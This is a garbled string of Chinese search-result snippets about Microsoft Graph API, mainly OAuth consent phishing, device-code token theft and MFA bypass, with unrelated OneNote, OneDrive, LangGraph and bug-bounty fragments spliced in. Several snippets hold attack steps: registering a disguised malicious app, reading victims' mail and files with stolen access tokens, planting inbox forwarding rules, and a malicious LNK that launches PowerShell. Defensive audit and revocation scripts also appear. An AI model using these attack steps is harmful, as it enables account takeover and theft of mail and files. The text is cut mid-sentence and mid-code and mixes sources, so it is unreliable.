此类攻击不依赖凭据窃取,而是滥用OAuth 2.0授权框架中的“用户同意”流程,使恶意应用获得长期有效的刷新令牌(refresh token),进而通过Microsoft Graph API静默读取邮件...Graph API。...://graph.microsoft.com/v1.0/me/messages?.../v1.0/me/mailFolders/inbox/messageRules',json=rule_payload,headers=headers)此类操作完全通过合法API完成,日志中仅显示“应用ID...Graph 查询示例:GET https://graph.microsoft.com/v1.0/me/oauth2PermissionGrantsAuthorization: Bearer <admin_token
= "https://graph.microsoft.com/v1.0"; public static final String NOTEBOOK_ID_FILTER_PREFIX = "/me/onenote...URI.create(MICROSOFT_GRAPH_BASE_URL + "/me/onenote/pages/" + pageId + "/content"); HttpRequest request.../v1.0/me/onenote/pages/?.../v1.0/me/onenote/pages/?.../v1.0/me/onenote/pages/pageId/content获取html结果,再通过jsoup解析title、text,最后通过\n拼接返回buildMetadata方法根据不同的resourceType
使用该 OAuth Token 就可以向 Microsoft Graph API 请求(https://graph.microsoft.com/v1.0/me/drive/root:/Documents...请求结构为:https://graph.microsoft.com/v1.0/me/drive/root:/Uploaded/???:/content。...通过 OneDrive 下载文件,请求结构为https://graph.microsoft.com/v1.0/me/drive/root:/Downloaded/???:/content。.../v1.0/me/drive/root:/Documents/response.json:/content。...执行期间,攻击者可以使用 https://graph.microsoft.com/v1.0/me/drive/root:/Documents/data.txt:/content请求重置原始文件 data.txt
Graph API)。...获得令牌后,攻击者通过Microsoft Graph API执行侦察:import requeststoken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx"headers...= {"Authorization": f"Bearer {token}"}# 列出用户邮箱文件夹resp = requests.get("https://graph.microsoft.com/v1.0.../v1.0/me/mailFolders/{inbox_id}/messages", headers=headers).json()通过分析邮件内容,攻击者可识别财务、HR等高价值目标,进而发起针对性钓鱼或数据窃取...(token):headers = {"Authorization": f"Bearer {token}"}apps = []url = "https://graph.microsoft.com/v1.0
= "https://graph.microsoft.com/v1.0"; public static final String NOTEBOOK_ID_FILTER_PREFIX = "/me...Graph API. */ private List getNoteBookContent(String accessToken, String notebookId) {...Graph API. */ private List getSectionContent(String accessToken, String sectionId) {...= URI.create(MICROSOFT_GRAPH_BASE_URL + "/me/onenote/pages/" + pageId + "/content"); HttpRequest.../v1.0/me/onenote/pages/?
关键词:OAuth 2.0;MFA绕过;Microsoft Entra ID;钓鱼攻击;身份安全;API权限;条件访问;第三方应用治理1 引言随着云办公的普及,Microsoft 365已成为全球企业数字基础设施的核心组成部分...(Access Token)与刷新令牌(Refresh Token);应用使用令牌调用Microsoft Graph API。...3.4 数据窃取与横向移动获得令牌后,攻击者可调用Microsoft Graph API执行以下操作:# 读取最新100封邮件Invoke-RestMethod -Uri "https://graph.microsoft.com.../v1.0/me/messages?.../v1.0/me/drive/root/children" `-Headers @{ Authorization = "Bearer $accessToken" }更危险的是,若应用被授予Application.ReadWrite.All
一旦得手,攻击者可立即利用Graph API遍历收件箱,提取包含财务、合同、人事等关键词的邮件线程,自动生成极具欺骗性的横向钓鱼内容,形成指数级扩散。面对此类攻击,仅依赖邮件层防护已显不足。...Graph API遍历收件箱:import requestsACCESS_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..." # 从AiTM获取headers.../v1.0/me/messages?...以下为通过Microsoft Graph API创建条件访问策略的示例:policy = {"displayName": "Block risky logins to SharePoint","state...通过构建会话图谱(Session Graph),将文件访问、登录、API调用等事件关联,可有效识别异常跳转链。例如,若某会话在访问1drv.ms后5秒内出现在非微软域名的登录页,则极可能为钓鱼。
,即使用户登出仍有效;Access Token:短期有效(通常1小时),但可用于调用Microsoft Graph API。...-0000-c000-000000000000&refresh_token=&grant_type=refresh_token&scope=https://graph.microsoft.com.../.default返回的Access Token可立即用于读取邮件:GET /v1.0/me/messages HTTP/1.1Host: graph.microsoft.comAuthorization...Microsoft Graph提供/revokeSignInSessions API,可编程终止可疑会话:import requestsdef revoke_suspicious_sessions(user_id..., access_token):url = f"https://graph.microsoft.com/v1.0/users/{user_id}/revokeSignInSessions"headers
开发流程 向 Azure Active Directory (AAD) 注册的客户端 ID 和密钥(客户端密码) 从 OAuth 2 授权代码流收到的授权代码 OneDrive for Business API...8400” 获取access_token onedrive for business使用的是标准的Oauth2流程,所以大概流程就是先获取code,使用code交换access_token,然后就可以调用api...refresh_token': token['refresh_token'], 'grant_type': 'refresh_token', 'resource': 'https://graph.microsoft.com...r.status_code not in [200, 201, 202]: print("上传出错") break 遇到的几个坑 终结点是https://graph.microsoft.com...onedrive的请求api是https://graph.microsoft.com/v1.0/me/drive,但是文档中以及网上教程写的是https://graph.microsoft.com/me
搜索并下载敏感文档:利用Graph API遍历OneDrive与SharePoint中的文件夹,下载包含“NDA”、“Term Sheet”、“Due Diligence”等关键词的文档。...以下Python脚本利用Microsoft Graph API实现授权审计:import requestsdef audit_oauth_apps(user_token):headers = {"Authorization...": f"Bearer {user_token}"}url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants"response...grant in response.json().get('value', []):app_id = grant['clientId']app_info = requests.get(f"https://graph.microsoft.com...')if display_name not in approved_apps:# 自动撤销授权requests.delete(f"https://graph.microsoft.com/v1.0/me/
Graph API,读取邮件、日历、联系人,甚至创建新应用或修改权限。...假设攻击者已注册一个Azure AD应用,client_id为“a1b2c3d4-5678-90ef-ghij-klmnopqrstuv”,并申请了以下API权限:Microsoft Graph: Mail.ReadWrite...随后,攻击者可使用该令牌调用Graph API:# Example: Read user's mailboxheaders = {'Authorization': f'Bearer {token_json...["access_token"]}'}mail_resp = requests.get('https://graph.microsoft.com/v1.0/me/messages',headers=headers...未来需推动更细粒度的权限委托机制(如Microsoft Graph Delegated Permissions with Scopes Restriction)。另一个挑战是刷新令牌的长期有效性。
通过Microsoft Graph API定期拉取用户授权的应用列表,比对白名单。若发现未经批准的第三方应用请求Mail.Read、Mail.Send等权限,自动撤销授权并告警。.../v1.0/me/oauth2PermissionGrants"resp = requests.get(url, headers=headers)apps = []for grant in resp.json...().get('value', []):app_id = grant['clientId']# 查询应用详情app_url = f"https://graph.microsoft.com/v1.0/applications...['scope'].split()})return appsdef revoke_unapproved_app(token, app_id):"""撤销未授权应用"""url = f"https://graph.microsoft.com.../v1.0/me/oauth2PermissionGrants/{app_id}"requests.delete(url, headers={'Authorization': f'Bearer {token
尤其在Microsoft 365、Salesforce、Google Workspace等主流SaaS平台中,一旦主账户凭证失窃,攻击者可在数分钟内完成权限提升、邮箱导出、API调用乃至数据外泄,而平均检测延迟仍超过...例如,某用户通常在工作日9–18点从上海登录,若凌晨3点从莫斯科发起/me/drive/root/children请求,应触发高风险告警。...login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token"data = {'client_id': CLIENT_ID,'scope': 'https://graph.microsoft.com...access_token']def list_consent_grants(token):headers = {'Authorization': f'Bearer {token}'}url = "https://graph.microsoft.com...Graph API /users/{id}/revokeSignInSessions;发送Teams通知至用户及IT支持;创建Jira工单要求用户完成安全培训;更新IAM策略,强制启用FIDO2。
4.1 恶意应用注册攻击者首先在Azure AD中注册一个恶意应用(可使用个人微软账户完成,无需租户管理员权限):应用名称:Secure Document Sync重定向URI:留空(设备授权无需回调)API...权限:勾选Microsoft Graph的Delegated权限,如:Mail.ReadWriteCalendars.ReadWriteUser.Read.AllFiles.ReadWrite.All4.2...timeimport jsonCLIENT_ID = "a1b2c3d4-5678-90ef-ghij-klmnopqrstuv" # 恶意应用IDTENANT = "common"SCOPE = "https://graph.microsoft.com...Graph API读取邮件:import requestswith open('stolen_token.json') as f:token = json.load(f)headers = {'Authorization...': f'Bearer {token["access_token"]}'}mails = requests.get('https://graph.microsoft.com/v1.0/me/messages
近期变种更倾向使用ISO或LNK文件绕过邮件网关:# 恶意LNK文件执行PowerShell下载器%windir%\System32\WindowsPowerShell\v1.0\powershell.exe...(2.4)横向移动与持久化获取邮箱访问权后,攻击者常利用“自动转发规则”窃取未来邮件,或通过Graph API读取联系人、会议记录,为下一轮攻击提供情报。...部分样本还部署了基于OAuth应用的持久化后门:POST https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRulesAuthorization...(5.1)系统架构前端:Outlook插件,提供举报按钮与可疑链接预览;中台:基于Microsoft Graph API的行为分析引擎;后台:条件访问策略管理与OAuth授权审计模块。...(5.2)关键功能代码示例自动检测并阻断恶意邮件转发规则:from microsoft_graph import GraphClientdef detect_malicious_forwarding(user_id
import add_messages from langgraph.graph import StateGraph # 导入用于处理字节流的模块 from io import BytesIO #...\n") # 通过工作流处理翻译请求 events = graph.stream( {"messages": [("user", user_input)]}, stream_mode="values...": [("human", "帮我修改 payment 的工作负载,镜像为 nginx:v1.0")]}, stream_mode="values" ): chunk["messages"][-...强调个人知识库的重要性,它能帮助解答那些不必亲自思考的问题,提升工作效率。...如果我的文章对你有所帮助,还请帮忙点赞、在看、转发一下,你的支持会激励我输出更高质量的文章,非常感谢!
上下文关联:查询Microsoft Graph,确认发件人是否为已知联系人、近期是否有类似通信。...3.2 自定义策略扩展企业可通过PowerShell或Defender API扩展分拣逻辑。...Graph API提交反馈import requestsdef submit_feedback(message_id, is_phish, comment):url = f"https://graph.microsoft.com.../v1.0/security/messages/{message_id}/feedback"headers = {"Authorization": "Bearer ","Content-Type...例如,一封来自合作方的紧急付款请求邮件(含真实银行链接),基线策略因其包含“urgent payment”关键词而误判为钓鱼,而分拣代理通过Graph上下文确认发件人为历史合作伙伴,正确归类为合法邮件。
当sam在星巴克官网上试图购买时,他发现了API调用的可疑之处:在以“ / bff / proxy /”为前缀的API下发送了一些请求,但这些请求返回的数据似乎来自另一台主机。...如果我们发现这样的API调用,那么尝试遍历有效负载并发送其他数据(实际上是在用户输入中接收)可能会更有帮助。 Sam仔细留意这个App,发现了更多的API调用。...“ / search / v1 / accounts”可以访问所有星巴克帐户的Microsoft Graph实例。...随后,sam开始进一步探索该服务,以使用Microsoft Graph功能进行确认。...Graph URL添加“ $ count”参数,可以确定该服务具有近1亿条记录。
Graph API读取邮件、发送钓鱼邮件、下载OneDrive文件等。...(二)策略管理层:建立授权生命周期管理定期授权审计:每季度导出全组织应用授权清单,清理未使用或来源不明的应用;实施最小权限原则:推动业务部门使用权限更细的现代API(如Microsoft Graph的delegated...permissions with scopes);自动化撤销机制:当检测到可疑活动时,自动调用Microsoft Graph API撤销相关应用授权:# 使用Microsoft Graph API撤销用户授权...import requestsdef revoke_consent(user_id, app_id, access_token):url = f"https://graph.microsoft.com/...resp.json().get('value', [])for grant in grants:if grant['clientId'] == app_id:delete_url = f"https://graph.microsoft.com
首先用.env文件设置API集成的环境变量: ANTHROPIC_API_KEY="your-anthropic-api-key" # LANGCHAIN_API_KEY="your-langchain-api-key...Enhanced Hook: " These 5 AI tools helped me cut coding time by 40% last month!...langgraph.graph.message import add_messages from langgraph.checkpoint.memory import InMemorySaver...首先定义图状态和循环控制函数: # Graph state definition class State(TypedDict): messages: Annotated[list, add_messages...更重要的是,通过在记忆中存储改进轨迹或用于微调,能帮助模型避免未来重复相同错误。 作者:Piyush Agnihotri 喜欢就关注一下吧: 点个 在看 你最好看!